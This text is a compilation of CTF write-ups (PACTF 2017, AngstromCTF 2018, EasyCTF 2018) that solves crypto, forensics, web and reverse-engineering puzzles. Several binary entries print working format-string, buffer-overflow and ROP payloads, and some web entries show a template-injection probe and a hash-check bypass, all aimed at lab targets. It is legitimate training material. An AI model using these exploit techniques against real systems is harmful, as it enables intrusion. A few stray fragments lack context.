if ((SAR(sign_extend_64(*(int8_t *)(var_20 + (var_28 >> 0x3)) & 0xff), (var_28 & 0x7)) & 0x1) != 0x0) {
rsi = var_28;
rax = std::vector<unsigned long, std::allocator<unsigned long> >::push_back(var_38);
for (var_18 = var_28 + var_28; var_18 <= var_40; var_18 = var_18 + var_28) {
*(int8_t *)(var_20 + (var_18 >> 0x3)) = *(int8_t *)((var_18 >> 0x3) + var_20) & 0xff & !(0x1 << (var_18 & 0x7));
}
}
}
if (var_20 != 0x0) {
rax = operator delete[](var_20);
}
rax = var_38;
rbx = stack[2046];
rsp = rsp + 0x48;
rbp = stack[2047];
return rax;
}
We need to look closer at the part of the pseudocode that will give us the solution.
for (var_28 = 0x2; var_28 <= var_40; var_28 = var_28 + 0x1) {
The base idea of this part of the code, refers to how it's actually looking for THE largest prime number that's smaller than var_40
, which is 2147483644
. With some clever searching, the largest prime number smaller than 2147483644
is, 2147483629
.
Therefore, the flag is 2147483629
.
PACTF_2017: RSA256
Category: Points: 80 Description:
According to Wikipedia, RSA 256 can be factored on modest hardware in 35 minutes. Given the encoded public key MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAIl47p5SrV3uMTsUAbwE0E+j+QynAY/CVq/Gf8IAOQy7AgMBAAE=, what is the similarly-encoded private key? The first 32 characters is the flag.
Hint:
And apparently YAFU can do it in 103 seconds!
Write-up
PyCrypto to the rescue!
Therefore, the flag is MIGpAgEAAiEAiXjunlKtXe4xOxQBvATQ
.
PACTF_2017: Substitute Teacher
Category: Points: 25 Description:
Mr. Michael S. “Mike” Rogers is the substitute teacher for the day, but he is having trouble deciphering the secret message that was left for him by the teacher. Mr. Rogers knows the note is in English, but that’s about all. Can you help him? ENCRYPTED.txt
Hint:
Frequency analysis.
Write-up
We go to [quipqiup] for this.
Using clues like,
adim=flag
cdixqkruk=plaintext
We get the plaintext,
In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a fixed system; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution. (Wikipedia.org, "Substitution cypher") This is, for your sake, a completely normal English text. We were so nice, we decided to leave capitalization in the encrypted text... & punctuation! Aren't we nice. There is a relatively normal letter distribution in this text, so it shouldn't have been too difficult to solve. Anyway, congratulations! Here is your flag: only_slightly_better_than_caesar
Therefore, the flag is only_slightly_better_than_caesar
.
PACTF_2017: Whence I Came
Category: Points: 10 Description:
Open Sourcery Look from where I came! The key is somewhere in there… or at least it’d like to be!
Hint:
I am the creation of open sourcery!
Write-up
This one tests your creativity to lookup PACTF's GitHub page, where you will find the flag.
Therefore, the flag is WELCOME_TO_PACTF_2017
.
PACTF_2017: Authorization Of Time
Category: Points: 55 Description:
qr.png. 1489798809000. Get me in.
Hint:
Big ben just hit 1.
Write-up
We are originally given the Unix timestamp 1489798809000
, which translates to 11/05/49179 @ 6:30pm (UTC)
. Impossible, let's take this as a millisecond timestamp and remove 3 0
s, bringing us to 1489798809
, which then translates to 03/18/2017 @ 1:00am (UTC)
. This makes much more sense.
In the QR code, we find out that the QR code contains an encoded Time-based One-time Password Algorithm
or TOTP
secret. Making use of the pyotp
library, I made a nice script.
Therefore, the flag is 808365
.
PACTF_2017:
Category: Points: 40 Description:
Those Dinosaurs… had money? Turns out they also created a ledger system.
Hint:
I wonder what entry you’re looking for…
Write-up
Revisiting our old dinosaur site, we find an interesting tidbit.
$ dig TXT ledger.dinosaurneverforgetsystem.tk
; <<>> DiG 9.8.3-P1 <<>> TXT ledger.dinosaurneverforgetsystem.tk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58605
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;ledger.dinosaurneverforgetsystem.tk. IN TXT
;; ANSWER SECTION:
ledger.dinosaurneverforgetsystem.tk. 14141 IN TXT "3890a940bf54bb50d2ad334d0d0ddbda8a8737b6873277412756724292e89e31"
;; Query time: 7 msec
;; SERVER: 164.78.239.15#53(164.78.239.15)
;; WHEN: Tue Apr 18 13:58:43 2017
;; MSG SIZE rcvd: 130
What does 3890a940bf54bb50d2ad334d0d0ddbda8a8737b6873277412756724292e89e31
mean? Decoding it into ASCII gives nothing, let's try to search it. BAM!
Therefore, the flag is those_dinosaurs_sure_are_clever
.
PACTF_2017: Visual Words
Category: Points: 70 Description:
Some of us are visual learners. Some of us learn best from texts. I’ve found the perfect combination! It was a bit dark though, so I had to make it brighter by some factor.
Hint:
Number, words, colors, data. It’s all really just numbers and math right?
Write-up
This challenge involves reading each pixel by pixel to get the character representation of the colour code within each pixel to form a word. We have to take advantage of the Pillow library to solve this.
Therefore, the key is flag_HidingSomeFunStuffInThisImage!!
.
PACTF_2017: Dinosaur Never-Forget System
Category: Points: 30 Description:
Those Dinosaurs… The dinosaurs need some way to archive their messages and news for the future, so they created the Dinosaur Never-forget System. They wanted the login to be public, but they also didn’t want it to be too easy to find. So they hid it in a system more antiquated than the dinosaurs themselves. dinosaurneverforgetsystem.tk
Hint:
They kept records, too.
Write-up
A simple challenge involving TXT
DNS records.
$ dig TXT dinosaurneverforgetsystem.tk
; <<>> DiG 9.8.3-P1 <<>> TXT dinosaurneverforgetsystem.tk
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57478
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dinosaurneverforgetsystem.tk. IN TXT
;; ANSWER SECTION:
dinosaurneverforgetsystem.tk. 14439 IN TXT "edger entry available at LEDGER subdomain -- flag: dinosaurs_must_stay_informed"
;; Query time: 347 msec
;; SERVER: 164.78.239.15#53(164.78.239.15)
;; WHEN: Tue Apr 18 13:29:49 2017
;; MSG SIZE rcvd: 138
Therefore, the flag is dinosaurs_must_stay_informed
.
PACTF_2017: CT S(C)AN
Category: Points: 35 Description:
CHECK THE SAN. MAYBE CT SCANS ARE USEFUL TOO.
Hint:
We are a security competition, not a hospital. Consult with your healthcare professional before deciding to take any CAT scans.
Write-up
This challenge is a real troll to anyone who hasn't done SSL security before. SAN, stands for Subject Alternative Name
.
Looking into the security section of the browser, you find that the SANs are all listed there, including our flag.
Therefore, the flag is pa1cdnp5ocrn977rcqy98ubvkq92o5-flag.pactf.com
.
PACTF_2017: MegaEncryption (TM)
Category: Points: 40 Description:
Personal Advancement of Cuil Therory Foundation The Personal Advancement of Cuil Therory Foundation (PACTF) left a message for Tony, but they used MegaEncryption (TM) to encrypt it. What did they say? Should we be worried? It seems like they used some sort of public medium to send the message
Hint:
They kept records!
Write-up
Irritating, truly this challenge, requires us to go search up discussion history. Afterwards, a intense base64 -d
chain.
$ cat ciphertext.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
Oh my goodness! It's gotten so bad. The cuils are rising... they want to outlaw encryption... I'd rate their world +200 Cuils! At least I have MegaEncryption (TM) to keep me safe. the_cuil_is_too_much_to_handle
Therefore, the flag is the_cuil_is_too_much_to_handle
.
PACTF_2017: What 3 Words
Category: Points: 60 Description:
preheated.positions.using gifted.miss.store! increases.enigma.sting is intellects.papers.downpours. Please capitalize.
Hint:
Use the default map, not OSM.
Write-up
What 3 Words
refers to a proprietory map addressing scheme over here. As such, the last part of the description intellects.papers.downpours
refers to this location.
Therefore, the flag is Longyearbyen
.
PACTF_2017: Think of the Cube
Category: Points: 35 Description:
Get Cubed
I found this floating around on a piece of paper while geocaching. What could “dqow_UrrEcxbaDdfgwwIhww” possibly mean?
Hint:
What are some weird ciphers? Maybe originally involving a cube?
Write-up
Google and you will find this site.
Therefore, the flag is flag_WowWierdCipherHere
.
PACTF_2017: 1597463007
Category: Points: 15 Description:
The number 0x5f3759df is very special, it is the magic behind an otherwise rather-annoying mathematical operation. What is the result of that operation applied to 0.25?
Hint:
LMGTFY
Write-up
Retarded challenge, involving the fast inverse square root function of 0x5f3759df
.
Therefore, the flag is 2
.
PACTF_2017: Haystack
Category: Points: 60 Description:
That’s a lot of data… but at least it’s signed! I’ll bet that at least one signature doesn’t match up, though. One of ‘em has a bit of cuil. It’ll be like finding a needle in a haystack… haystack.json
Hint:
Yes, I know that the RSA key format doesn’t really matter in this scenario (considering there isn’t much of a format).
Write-up
Thank god we are given the key.
Therefore, the key is sometimes_needles_in_a_haystack_can_prick_you
.
PACTF_2017: Bitesized
Category: Points: 80 Description:
There’s an image of some trees here. I bet the image contains more than trees, though. trees.png
Hint:
Try mod 8?
Write-up
Stegsolver is very useful for this, as we take a look at the plane 2s.
If you squint hard enough, you can barely make out the flag.
Therefore, the flag is dont_miss_the_flag_for_the_trees
.
PACTF_2017: Et tu, Brute?
Category: Points: 5 Description:
I found a message from Julius. Can you get the flag? Huk aopz pz aol mshn: clup_cpkp_cpjp_TqT2VK
Hint:
Look up what a Caesar cipher is. Can you make sense of the encrypted text above? Once you do, enter the ‘flag’ in the text box below and check if you’re right!
Write-up
We got a string, Huk aopz pz aol mshn: clup_cpkp_cpjp_TqT2VK
. Using an online tool like rot13.com, we can use an additional ROT19 to get the string And this is the flag: veni_vidi_vici_MjM2OD
.
Therefore, the flag is veni_vidi_vici_MjM2OD
.
AngstromCTF 2018
This CTF happened to collide with my busy schedule so I only managed to work on it for the first two days!
AngstromCTF_2018: Cookie Jar
Category: Binary Points: 60 Description:
Note: Binary has been updated Try to break this Cookie Jar that was compiled from this source Once you've pwned the binary, test it out by connecting to nc shell.angstromctf.com 1234 to get the flag.
Write-up
Another simple challenge with a simpler buffer overflow,
$ nc shell.angstromctf.com 1234
Welcome to the Cookie Jar program!
In order to get the flag, you will need to have 100 cookies!
So, how many cookies are there in the cookie jar:
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
Congrats, you have 122 cookies!
Here's your flag: actf{eat_cookies_get_buffer}
Therefore, the flag is actf{eat_cookies_get_buffer}
.
AngstromCTF_2018: Accumulator
Category: Binary Points: 50 Description:
I found this program (source) that lets me add positive numbers to a variable, but it won't give me a flag unless that variable is negative! Can you help me out? Navigate to /problems/accumulator/ on the shell server to try your exploit out!
Write-up
This is a simple integer overflow challenge, with 32-bit integers.
$ ./accumulator64
The accumulator currently has a value of 0.
Please enter a positive integer to add: 2147483647
The accumulator currently has a value of 2147483647.
Please enter a positive integer to add: 1
The accumulator has a value of -2147483648. You win!
actf{signed_ints_aint_safe}
Therefore, the flag is actf{signed_ints_aint_safe}
.
AngstromCTF_2018: Number Guess
Category: Binary Points: 70 Description:
Ian loves playing number guessing games, so he went ahead and wrote one himself (source). I hope it doesn't have any vulns. The service is running at nc shell.angstromctf.com 1235.
Write-up
This is another simple format string challenge
# nc shell.angstromctf.com 1235
Welcome to the number guessing game!
Before we begin, please enter your name (40 chars max):
%3$d %9$d
I'm thinking of two random numbers (0 to 1000000), can you tell me their sum?
746589 509197's guess: 1255786
Congrats, here's a flag: actf{format_stringz_are_pre77y_sc4ry}
Therefore, the flag is actf{format_stringz_are_pre77y_sc4ry}
.
AngstromCTF_2018: Personal Letter
Category: Binary Points: 160 Description:
Have you ever gotten tired of writing your name in the header of a letter? Well now there's a program to do it for you! Navigate to /problems/letter/ on the shell server to try your exploit out!
Write-up
This challenge was slightly tricky in that it was a ROP challenge that had to done with format strings. There will be many solutions to this challenge but essentially I chose to target the Global Offset Table (GOT). Before we can start crafting our exploit, we need to know the addresses of what we are targetting.
printFlag: 0x804872b
exit@GOT: 0x804a030
Knowing that, let's target the last two bytes of our exit GOT table. Next, we craft our exploit and try to execute it.
$ python -c 'print("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "%27u" + "%26$hnn" + "%91u" + "%27$hhn")' | ./personal_letter32
Welcome to the personal letter program!
Give us your name, and we will generate a letter just for you!
Enter Name (100 Chars max):
________________________________________
| |
| |
| Dear 01 4289382168n 28,|
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
| __________________________________ |
|______________________________________|
Exiting.
Status Code: 0
Here's a flag: actf{flags_are_fun}
Therefore, the flag is actf{flags_are_fun}
.
AngstromCTF_2018: Rop To The Top
Category: Binary Points: 130 Description:
Rop, rop, rop Rop to the top! Slip and slide and ride that rhythm... Here's some binary and source. Navigate to
/problems/roptothetop/
on the shell server to try your exploit out!
Write-up
Relatively simple challenge too, with a simple ROP exploit code.
# r2 rop_to_the_top32
r_config_set: variable 'asm.cmtright' not found
-- To debug a program, you can call r2 with 'dbg://<path-to-program>' or '-d <path..>'
[0x080483e0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x080483e0]> is
[Symbols]
[...]
060 0x00001028 0x0804a028 GLOBAL OBJECT 0 __dso_handle
061 0x0000061c 0x0804861c GLOBAL OBJECT 4 _IO_stdin_used
063 0x000005a0 0x080485a0 GLOBAL FUNC 93 __libc_csu_init
064 0x0804a030 0x0804a030 GLOBAL NOTYPE 0 _end
065 0x000003e0 0x080483e0 GLOBAL FUNC 0 _start
066 0x000004db 0x080484db GLOBAL FUNC 25 the_top
067 0x00000618 0x08048618 GLOBAL OBJECT 4 _fp_hw
[...]
With the address of the_top()
, we can now craft our exploit.
$ ./rop_to_the_top32 `python -c "print('A' * 44 + '\xdb\x84\x04\x08')"`
Now copying input...
Done!
actf{strut_your_stuff}
Therefore, the flag is actf{strut_your_stuff}
.
AngstromCTF_2018: Intro To RSA
Category: Crypto Points: 50 Description:
One common method of public key encryption is the RSA algorithm. Given p, q, e, and c, see if you can recover the message and find the flag!
Write-up
Using Python, we can decrypt c with a script!
# Calculate n
n = p * q
# Calculate decryption keys
phi = (p-1) * (q-1)
d = gmpy2.invert(e, phi)
# Decrypt flag
m = int(pow(c, d, n))
print(binascii.unhexlify(hex(m)[2:]).decode())
With the script, we can now get our flag.
# ./solve.py
actf{rsa_is_reallllly_fun!!!!!!}
Therefore, the flag is actf{rsa_is_reallllly_fun!!!!!!}
.
AngstromCTF_2018: ofb
**Category:**Crypto Points: 120 Description:
defund made a simple OFB cipher, if you can even call it that. Here's the source and the encrypted flag.
Write-up
This challenge is also pretty straight forward but rather than the OFB we are trying to break, we are trying to break the linear congruent generator number generator used in encrypt.py
. To do that, we will need three outputs from the linear congruent generator and we can do that by xorring the output of the first 12 bytes of the encrypted flag with the default standard PNG header pattern.
x1 = int.from_bytes(data[:4], "big") ^ int.from_bytes(b"\x89\x50\x4e\x47", "big")
x2 = int.from_bytes(data[4:8], "big") ^ int.from_bytes(b"\x0d\x0a\x1a\x0a", "big")
x3 = int.from_bytes(data[8:12], "big") ^ int.from_bytes(b"\x00\x00\x00\x0d", "big")
After that is done, we can just use some nifty math to reverse our LCG's settings, a
and c
. Building a script will allow us to automate this better.
# ./solve.py
x1: 2445943554
x2: 2225636917
x3: 1320590709
a: 3204287424
c: 1460809397
=== VERIFY ===
x1: 2445943554
x2: 2225636917
x3: 1320590709
With that, we get our flag,
Therefore, our flag is actf{pad_rng}
.
AngstromCTF_2018:
Category: Crypto Points: 40 Description:
We found these mysterious symbols hidden in ancient (1950s-era) ruins. We think a single byte may be key to unlocking the mystery. Can you help us figure out what they mean?
Write-up
This is just a single-byte XOR encryption.
import binascii
ciphertext = binascii.unhexlify("fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7")
for key in range(255):
plaintext = ""
for c in ciphertext:
plaintext += chr(c ^ key)
if "ctf" in plaintext:
print(plaintext)
In a script, we get our flag
$ ./script.py
actf{hope_you_used_a_script}
Therefore, the flag is actf{hope_you_used_a_script}
.
AngstromCTF_2018: Back To Base - ICS
Category: Crypto Points: 20 Description:
Here at ångstromCTF, we know all the powers of two! Try and decode this.
Write-up
We get a file containing,
Part 1: 011000010110001101110100011001100111101100110000011011100110010101011111011101000111011100110000010111110110011000110000
Part 2: 165 162 137 145 151 147 150 164 137 163 151 170 164 63 63
Part 3: 6e5f7468317274797477305f733178
Part 4: dHlmMHVyX25vX20wcmV9
Flag is the concatenation of the four decoded parts.
Using any converter, particularly rax2
, we get the following,
root@ctf:~# rax2 -b 011000010110001101110100011001100111101100110000011011100110010101011111011101000111011100110000010111110110011000110000
actf{0ne_tw0_f0
root@ctf:~# rax2 165o 162o 137o 145o 151o 147o 150o 164o 137o 163o 151o 170o 164o 63o 63o | rax2 -s
ur_eight_sixt33
root@ctf:~# rax2 -s 6e5f7468317274797477305f733178
n_th1rtytw0_s1x
root@ctf:~# rax2 -D dHlmMHVyX25vX20wcmV9
tyf0ur_no_m0re}
Therefore, the flag is actf{0ne_tw0_f0ur_eight_sixt33n_th1rtytw0_s1xtyf0ur_no_m0re}
.
AngstromCTF_2018: Warmup
Category: Crypto Points: 10 Description:
Just a quick warm-up cipher for everyone. Honestly, I think it's a fine cipher.
Write-up
Another simple cipher with the Affine cipher, decoders can be found online.
Therefore, the flag is actf{it_begins}
AngstromCTF_2018: md5
Category: Web Points: 140 Description:
defund's a true MD5 fan, and he has a site to prove it.
Write-up
This is one of defund's worser challenges ever. Essentially, he disguised a web challenge as a crypto challenge and I wasted too much time researching on unknown prefix collision attacks.
Essentially, this challenge can be boiled down to arrays. By submitting both variables as arrays, we are able to bypass the ===
identicallity check while also having the same value. This is because when an array is concated onto a string, it merely becomes Array
.
By accessing http://web.angstromctf.com:3003/?str1[]=0&str2[]=1
, we get the flag.
Therefore, the flag is actf{but_md5_has_charm}
.
actf{wow_ur_a_jinja_ninja}
form {{ config }} b c d
AngstromCTF_2018:
Category: Web Points: 30 Description:
Get me! Over here.
Write-up
We are brought to a page with a single submit button that leads us to the url http://web.angstromctf.com:3005/?auth=false
. Notice how there is a auth=false
, thus let's try http://web.angstromctf.com:3005/?auth=true
.
Here you go: actf{why_did_you_get_me}
Therefore the flag is actf{why_did_you_get_me}
.
# curl http://web2.angstromctf.com:8899/user/admin --data "field=_user__password"
actf{2_und3rsc0res_h1des_n0th1ng}
actf{sql_injection_more_like_prequel_injection}
AngstromCTF_2018: Source Me 1
Category: Web Points: 20 Description:
There is only one goal: Log in.
Write-up
The page source tells us the password.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Source Me 1</title>
</head>
<body>
<h2>Welcome to the admin portal!</h2>
Currently, only the user who can login is 'admin'.
<br>
<!-- Shh, don't tell anyone. The admin password is f7s0jkl -->
<form action="./login.php" method="get">
Username:<input type="text" name = "user"><br>
Password:<input type="text" name = "pass"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
Attempting to log in with the username admin
and password f7s0jkl
, we get the flag.
Welcome, admin. Here is your flag: actf{source_aint_secure}
Therefore, the flag is actf{source_aint_secure}
.
AngstromCTF_2018: Source Me 2
Category: Web Points: 50 Description:
Your goal hasn't changed. Log in.
Write-up
This time around, we have to crack the password hash of bdc87b9c894da5168059e00ebffb9077
. Using an online cracking site, we find that the plaintext is password1234
. Logging in with the password, we get our flag.
Welcome, admin. Here is your flag: actf{md5_hash_browns_and_pasta_sauce}
Therefore, the flag is actf{md5_hash_browns_and_pasta_sauce}
.
AngstromCTF_2018: File Transfer
Category: Misc Points: 40 Description:
We noticed someone trying to download a suspicious file on one of our networks. See if you can find out what they were getting from this network capture.
Write-up
This challenge merely involves capturing an image.
Therefore, the flag is actf{0ver_th3_w1re}
.
AngstromCTF_2018: slots
Category: Misc Points: 90 Description:
defund is building a casino empire. Break his slot machine, which is running at
web.angstromctf.com:3002
. Note: connect with netcat or an equivalent tool.
Write-up
This challenge is a mere teaser on one of Python's quirks with integers, that it could be NaN
or not a number. If it is not a number, it simply cannot be used to check if it's below 0
, above money
or 1000000000
. As such, we can break this challenge with just one bet.
$ nc web.angstromctf.com 3002
Welcome to Fruit Slots!
We've given you $10.00 on the house.
Once you're a high roller, we'll give you a flag.
You have $10.00.
Enter your bet: NaN
🍐 : 🍈 : 🍈
🍉 : 🍇 : 🍒 ◀
🍒 : 🍌 : 🍒
You lost everything.
Wow, you're a high roller!
A flag: actf{fruity}
Therefore, the flag is actf{fruity}
.
AngstromCTF_2018: gif
Category: Misc Points: 50 Description:
Making a gif is so hard.
Write-up
For this challenge, we can simply use the tool foremost
to extract all the PNG files from the image. We get our flag in the output/png
folder.
Therefore, the flag is actf{thats_not_how_you_make_gifs}
.
AngstromCTF_2018: Waldo 2
Category: Misc Points: 30 Description:
Now I have to find the Waldo among the Waldos! Man, if I looked at these 1 per 5 seconds, it would take me 42 minutes to find the odd man out. There must be a better way...
Write-up
We find the unique jpeg, only to find out it's not a jpeg.
# md5sum * | sort -u -t' ' -k1,1
9f6e902c233020026caf0ebbb1cf0ff5 waldo339.jpg
ea7368fe0412bfa60cd5baf6a5c13fc9 waldo100.jpg
# file waldo339.jpg
waldo339.jpg: ASCII text
# cat waldo339.jpg
actf{r3d_4nd_wh1t3_str1p3s}
Therefore, the flag is actf{r3d_4nd_wh1t3_str1p3s}
.
AngstromCTF_2018: IRC
Category: Miscellanous Points: 10 Description:
Join our irc channel #angstromctf on Freenode to get this flag. Admins will almost always be available here to answer questions about problems.
Write-up
A really simple challenge, sanity level, just go to the IRC.
Therefore, the flag is actf{irc}
.
AngstromCTF_2018: Not My Name
Category: Misc Points: 40 Description:
My friend sent me this copy of Lincoln's inspiring Gettysburg Address, but I can't seem to open it. Something about having the wrong name. Can you help me figure it out?
Write-up
Just an issue of a wrong extension. Simply renaming it to .docx
you get the following paragraph,
Four score and seven years ago our fathers brought forth on this continent, a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.
Now we are engaged in a great civil war, testing whether that nation, or any nation so conceived and so dedicated, can long endure. We are met on a great battle-field of that war. We have come to dedicate a portion of that field, as a final resting place for those who here gave their lives that that nation might live. It is altogether fitting and proper that we should do this.
But, in a larger sense, we can not dedicate—we can not consecrate—we can not hallow—this ground. The brave men, living and dead, who struggled here, have consecrated it, far above our poor power to add or detract. The world will little note, nor long remember what we say here, but it can never forget what they did here. It is for us the living, rather, to be dedicated here to the unfinished work which they who fought here have thus far so nobly advanced. It is rather for us to be here dedicated to the great task remaining before us—that from these honored dead we take increased devotion to that cause for which they gave the last full measure of devotion—that we here highly resolve that these dead shall not have died in vain—that this nation, under God, shall have a new birth of freedom—and that government of the people, by the people, for the people, shall not perish from the earth.
actf{thanks_mr_lincoln_but_who_even_uses_word_anymore}
Therefore, the flag is actf{thanks_mr_lincoln_but_who_even_uses_word_anymore}
.
AngstromCTF_2018: Waldo 1
Category: Misc Points: 10 Description:
Waldo likes flags. (This is so meta.)
Write-up
This challenge requires a minimum of one brain cell.
Therefore, the flag is actf{there_is_no_collusion_(between_teams)}
,
AngstromCTF_2018: Rev2
Category: Reverse Points: 80 Description:
It's time for Rev2! This one is pretty similar to the first: once you get the inputs right to the program, you will get the flag. You don't need the shell server for this one, but the binary can be found at
/problems/rev2/
if you would like to run it there.
Write-up
This challenge involves reading some assembly,
│ 0x0804853b e890feffff call sym.imp.__isoc99_scanf
│ 0x08048540 83c410 add esp, 0x10
│ 0x08048543 8b45e4 mov eax, dword [local_1ch]
│ 0x08048546 3dd7110000 cmp eax, 0x11d7
This part above looks for a number equals to 0x11d7
or 4567
.
│ │ 0x0804858b e840feffff call sym.imp.__isoc99_scanf
│ │ 0x08048590 83c410 add esp, 0x10
│ │ 0x08048593 8b45e8 mov eax, dword [local_18h]
│ │ 0x08048596 83f863 cmp eax, 0x63 ; 'c' ; 99
│ │┌─< 0x08048599 7f22 jg 0x80485bd
│ ││ 0x0804859b 8b45e8 mov eax, dword [local_18h]
│ ││ 0x0804859e 83f809 cmp eax, 9 ; 9
│ ┌───< 0x080485a1 7e1a jle 0x80485bd
│ │││ 0x080485a3 8b45ec mov eax, dword [local_14h]
│ │││ 0x080485a6 83f863 cmp eax, 0x63 ; 'c' ; 99
│ ┌────< 0x080485a9 7f12 jg 0x80485bd
│ ││││ 0x080485ab 8b45ec mov eax, dword [local_14h]
│ ││││ 0x080485ae 83f809 cmp eax, 9 ; 9
│ ┌─────< 0x080485b1 7e0a jle 0x80485bd
│ │││││ 0x080485b3 8b55e8 mov edx, dword [local_18h]
│ │││││ 0x080485b6 8b45ec mov eax, dword [local_14h]
│ │││││ 0x080485b9 39c2 cmp edx, eax
The next part aboves checks that both numbers on part 2, is smaller than or equals to 99 but bigger than 9.
│ ││ 0x080485da 0fafc2 imul eax, edx
│ ││ 0x080485dd 8945f0 mov dword [local_10h], eax
│ ││ 0x080485e0 817df0670d00. cmp dword [local_10h], 0xd67 ; [0xd67:4]=-1 ; 3431
This part checks that our lovely second input has to multiple together to form 0xd67
or 3431
. This factors out nicely to 47
and 73
. Therefore, by now running it with all of our gathered inputs, we get
$ ./rev2_32
Welcome to Rev2! You'll probably want to use a dissassembler or gdb.
Level 1: What number am I thinking of: 4567
Level 2: Which two two-digit numbers will solve this level. Enter the two numbers separated by a single space (num1 should be the lesser of the two): 47 73
Congrats, you passed Rev2! The flag is: actf{4567_47_73}
Therefore, the flag is actf{4567_47_73}
.
AngstromCTF_2018:
Category: Reverse Points: 20 Description:
For several challenges, being able to run executables on the shell server will be very important. For this challenge, you will need to connect via ssh to the shell server and navigate to /problems/run_me/. Once there, you will need to run the executable file using the command ./run_me.
Write-up
Another simple challenge,
team902619@shell:/problems/run_me$ ./run_me
actf{why_did_you_run_me}
Therefore, the flag is actf{why_did_you_run_me}
AngstromCTF_2018: Rev1
Category: Reverse Points: 60 Description:
One of the commmon categories in CTFs is Reverse Engineering, which involves using a dissassembler and other tools to figure out how an executable file works. For your first real reversing challenge, here is an ELF file. Head over to
/problems/rev1/
on the shell server to try it out, and once you have the input right, get the flag!
Write-up
Another simple challenge that can be solved with strings
,
$ strings rev1_32
[...]
[^_]
Welcome to your first Reverse Engineering challenge!
What is the password to this file? Enter password here:
s3cret_pa55word
Sorry, the password isn't %s. Try again!
Correct! You read my mind, have a flag:
[...]
With the password, we can now get the flag
$ ./rev1_32
Welcome to your first Reverse Engineering challenge!
What is the password to this file? Enter password here: s3cret_pa55word
Correct! You read my mind, have a flag:
actf{r3v_is_just_gettin_started!}
Therefore, the flag is actf{r3v_is_just_gettin_started!}
.
AngstromCTF_2018: rev3
Category: Reverse Points: 110 Description:
Let's try Rev 3! For this executable, you will need to figure out what input makes the program return
"Correct"
. You don't need the shell server for this one, but the binary can be found at/problems/rev3/
on the shell server.
Write-up
Just another reversing challenge that I forgot to do a writeup of. Thankfully, I have a script for everything.
# ./solve.py
actf{reversing_aint_too_bad_eh?}
Therefore, the flag is actf{reversing_aint_too_bad_eh?}
.
EasyCTF 2018 Writeup
I had a blast the last 10 days. This was one of the more enjoyable CTFs I've played and I'm rather happy that I achieved 2nd place out of 1791 teams and out of the 53 challenges, I had solved 52. The hardest challenge in my opinion was a tie between AES (which I have not solved) and License Check (which I solved).
EasyCTF_2018: Format
Category: Binary Exploitation Points: 160 Description:
Go to
/problems/format
on the shell server and tell me what is inflag.txt
.
Write-up
We are given two relevant files, format and format.c. This is a really easy challenge where you just have to format string your way out. However, as it is a 64-bit binary, certain tricks have to be played to get the password :)
$ ./format
Enter your name: %7$llx
Your name is: 1eb89e5c00000000
Enter your secret password (in hex)
0x1eb89e5c
easyctf{p3sky_f0rm4t_s7uff}
Therefore, the flag is easyctf{p3sky_f0rm4t_s7uff}
.
EasyCTF_2018: rop1
Category: Binary Exploitation Points: 120 Description:
Go to
/problems/rop1
on the shell server and tell me whats inflag.txt
.
Write-up
We are given two relevant files, rop1 and rop1.c. This is also relatively easy, just get the address of the function,
0x00400646 1 17 sym.get_flag
and the buffer size,
void get_input()
{
char inp[64];
gets(inp);
printf("You said: %s\n", inp);
}
Add 8
to it, and prepare your payload,
$ python -c "print('A' * 72 + '\x46\x06\x40\x00')" | ./rop1
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF@
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)
Therefore, the flag is easyctf{r0ps_and_h0ps}
.
EasyCTF_2018: Fanfic Studio
Category: Binary Exploitation Points: 350 Description:
Go to
/problems/fanfic
to check out my cool fanfic writing tool. I expect you to send me some steamy fanfics of michael.
Write-up
We are given two relevant files, fanfic and fanfic.c. This is a relatively easy challenge where the goal is just to exploit the chapter
structs. Firstly, the exploitable regions include the following,
struct chapter {
struct chapter *prev_chapter;
struct chapter *next_chapter;
char title[50];
char content[256];
void (* print_ch)(int, struct chapter *);
};
and,
while (curr_ch != NULL) {
curr_ch->print_ch(i, curr_ch);
curr_ch = curr_ch->next_chapter;
i++;
}
In a nutshell, to crack the puzzle, two functions need to be called, validate()
and give_flag()
. We can get the addresses of these functions simply through radare2.
[0x08048620]> afl
[...]
0x080487b4 3 22 sym.validate
0x080487ca 1 37 sym.be_nice
0x080487ef 9 147 sym.give_flag
0x08048882 36 1423 main
[...]
So now that we have our addresses, let's look at validate()
. From an initial overview, it seems we just need to overwrite the ans
variable to ensure when XORed with 0xDEADBEEF
gives 0xDEADBEAF
.
int success = 0xFFFF;
void validate(int ans) {
